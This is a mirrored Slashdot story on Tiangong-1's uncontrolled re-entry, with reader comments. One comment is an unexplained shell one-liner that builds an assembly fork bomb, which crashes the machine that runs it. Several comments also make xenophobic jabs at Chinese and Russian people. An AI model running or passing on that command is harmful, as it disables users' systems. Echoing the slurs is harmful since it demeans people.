Slashdot Mirror
Scientists Unsure Where Chinese Space Station Will Crash To Earth
In 2016, the Chinese space agency lost control of its Tiangong-1, or Heavenly Palace, spacecraft, five years after it blasted into orbit. Scientists have determined that it will come crashing down to Earth in the coming weeks, be they do not know exactly where on Earth it will hit. The Guardian reports: The defunct module is now at an altitude of 150 miles and being tracked by space agencies around the world, with the European Space Agency's center in Darmstadt predicting a fiery descent for it between March 27 and April 8. Hurtling around the Earth at about 18,000mph, the module ranks as one of the larger objects to re-enter the atmosphere without being steered towards the ocean, as is standard for big and broken spacecraft, and cargo vessels that are jettisoned from the International Space Station (ISS), to reduce the risk to life below. The spacecraft's orbit ranges from 43 degrees north to 43 degrees south, which rules out a descent over the UK but includes vast stretches of North and South America, China, the Middle East, Africa, Australia, parts of Europe -- and great swaths of the Pacific and Atlantic oceans. Western analysts cannot be sure how much of the spacecraft will survive re-entry, because China has not released details of the design and materials used to make Tiangong-1. But the spacecraft may have well-protected titanium fuel tanks containing toxic hydrazine that could pose a danger if they land in populated areas.
Oh shit.
It'll crash on the one that 'contributes' the least to certain Chinese officials.
Corruption is convincing someone that the selfless ideal is the same as their selfish ideal.
Is undead?
And yeah, it was those dirty rushers.
Places on the approximate 43N latitude include New York, Rome, Tblisi, Beijing, South Dakota/Nebraska border
Places near 43S include Puerto Montt (southern/middle Chile), Tasmania, New Zealand. Pretty much everything is above 43S.
Both the US and China have ground (or in our case Fighter Jet) launched systems capable of destroying a satellite. If it's re-entering in two weeks then it's destruction won't contribute to Kessler syndrome. I'm sure either county is just dying to exercise this system as it's been mostly dormant for the last year.
moox. for a new generation.
I hope...
Perhaps calling it "Heavenly Palace" was tempting fate.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
im sure they are just itching to pollute the rest of the world, as they have reached the limit of polluting their own country.
I mean that. That wanted to catch up, only to show they haven't. With luck they wont kill anyone.
it will come crashing down to Earth in the coming weeks, be they do not know exactly where on Earth it will hit.
How about engaging those Russians to hit it out of the sky with one of their S-400/500 missile systems.
With missiles that can fly at Mach 15 and a range of over 400Km, Russians should be able to help.
Wouldn't it be interesting if it turns out that the satellite is actually a test of the US response to "accidents" like it? There's no way to know, even if it is tumbling chaotically, if is or is not under control. Anything (larger than a couple of kg) is a threat if it's moving at 18,000 mph overhead.
When it crashes will the Chinese will plant a flag there, build an airstrip, and claim that the area had always been part of China's space program?
Why is this happening?
Sorry, in a rush and haven't RTFA, but given how we can track everything else in orbit, why is this one not possible? (Just wondering if they don't want to admit where they think it'll land..??)
Also, even if the fuel tanks DIDN'T contain any "toxic hydrazine" don't they still "pose a danger"?
This all sounds very irresponsible.
Is that it will hit the atmosphere first, and then the surface.
Charge the Chinese to salvage it. Create a space hotel.
Elon? Are you listening?
The biggest cost of space travel is getting things off the surface. Worst case you move it out to high orbit and scrap it for materials.
The Chinese aren't concerned with polluting and possibly endangering inhabited swathes of the planet? I'm shocked - shocked - to find such sentiment!
...Is a real example of man-made global warming.
"There is more worth loving than we have strength to love." - Brian Jay Stanley
Yes.
Nobody reads the title, n00b.
Confucius say, "Find worm in apple - bad. Find half a worm - worse."
No AmiMoJo post about how it's still 47 million times better than any station made by white people ever?
That's what he did when their train derailed and the first thing they did was to bury the wreckage because avoiding embarrassment for those who caused it was more important than looking for survivors.
Confucius say, "Find worm in apple - bad. Find half a worm - worse."
A kiwi has his pants down and is facing his wooley partner when she is beheaded by a piece of the falling station.
Bugger Me! he exclaims
Nuke it from the surface! It's the only way to be sure.
Breakfast served all day!
This is a plan by the Chinese to bomb a country!
Why else would they not cooperate w/ the world to determine where it would likely land?!
Self-importance and self-indulgence is the root of ALL evil.